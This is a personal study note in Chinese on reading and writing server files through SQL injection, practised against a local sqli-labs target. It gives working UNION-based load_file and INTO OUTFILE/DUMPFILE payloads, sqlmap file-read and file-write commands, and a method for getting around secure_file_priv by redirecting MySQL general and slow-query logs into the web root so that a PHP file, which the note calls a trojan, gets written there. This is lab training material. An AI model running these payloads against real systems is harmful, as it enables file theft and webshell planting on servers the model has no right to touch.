SQL注入文件读写总结
“ 个人学习笔记(四)”
SQL注入文件读写总结
SQL注入漏洞除了可以对数据库进行数据的查询之外,还可以对的服务器的文件进行读写操作。
靶场: http://127.0.0.1/sqli-labs/Less-2/?id=1
一、SQL注入读取文件
首先在D盘根目录下新建一个test.txt文件,为要读取的目标文件,内容为:好好学习,天天向上!
(1)、手工
语句: select load_file(‘文件路径’)
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,load_file('D://test.txt')--+
(2)、sqlmap
语句:--file-read 文件路径 从数据库服务器中读取文件
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-2/?id=1" --file-read "D:/test.txt"
结果保存在:C:\Users\Ifory\AppData\Local\sqlmap\output\127.0.0.1\files\D__test.txt
二、SQL注入写入文件
(1)、手工
select '<?php phpinfo() ?>' into outfile '目的文件'
select '<?php phpinfo() ?>' into dumpfile '目的文件' (用于二进制文件)
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,'<?php phpinfo() ?>' into dumpfile 'D:\\phpstudy_pro\\WWW\\a.php'--+
访问成功,文件已写
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,'<?php phpinfo() ?>' into outfile 'D:\\phpstudy_pro\\WWW\\b.php'--+
访问成功,文件已写
(2)、sqlmap
--file-write 本地文件 --file-dest 目的文件
例:将本地D:/test.txt文件,写入D:/phpstudy_pro/WWW/aa.php中
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-2/?id=1" --file-write "D:/test.txt" --file-dest "D:/phpstudy_pro/WWW/aa.php"
访问成功,文件已写
三、文件读写前提条件
1.用户权限足够高,尽量具有root权限。2.secure_file_priv 选项不对文件读写权限限制3.知道绝对物理路径4.能够使用联合查询(sql注入时)
查询当前用户是否有文件读写权限:
and (select File_priv from mysql.user where user='root' and host='localhost')='Y'%23
secure_file_priv参数用来限制数据导入和导出操作的效果
•secure_file_prive=null 限制mysqld 不允许导入和导出•secure_file_priv=/tmp/ 限制mysqld 的导入和导出只能在/tmp/目录下•secure_file_priv= 不对mysqld 的导入和导出做限制
使用命令查看权限配置
show global variables like '%secure%';
mysql 5.6.34版本以后,配置文件默认没有secure_file_priv这个选项,实际为NULL。并且无法用sql语句对其进行修改,只能够通过修改以下文件。
windows下 my.ini
[mysqld]
secure_file_priv=
linux下 cat /etc/my.cnf
[mysqld]
secure_file_priv=
四、突破secure_file_priv 选项限制
通过日志文件,原理都是修改日志存放的路径及文件,通过执行操作把木马存入修改后的日志中,达到写入木马的目的。
1、查看日志状态(默认禁止)
show variables like 'general_log%'; 查询日志
show variables like '%slow_query_log%'; 慢查询日志
2、开启日志记录
set global general_log = 'ON'; 查询日志
set global slow_query_log=1; 慢查询日志
3、伪造(修改)日志文件的绝对路径以及文件名
set global general_log_file="D:/phpstudy_pro/WWW/test.php"; 查询日志
set global slow_query_log_file='D:/phpstudy_pro/WWW/test.php’; 慢查询日志
默认日志路径已更改
4、执行sql语句,mysql会将执行的语句内容记录到我们指定的文件中
select '<?php phpinfo() ?>'; 查询日志
select '<?php phpinfo() ?>' or sleep(11); 慢查询日志
关于慢查询日志
命令执行时间超过long_query_time设定的值(默认10s),则会保存至慢查询日志。查看long_query_time设定的值
show global variables like '%long_query_time%';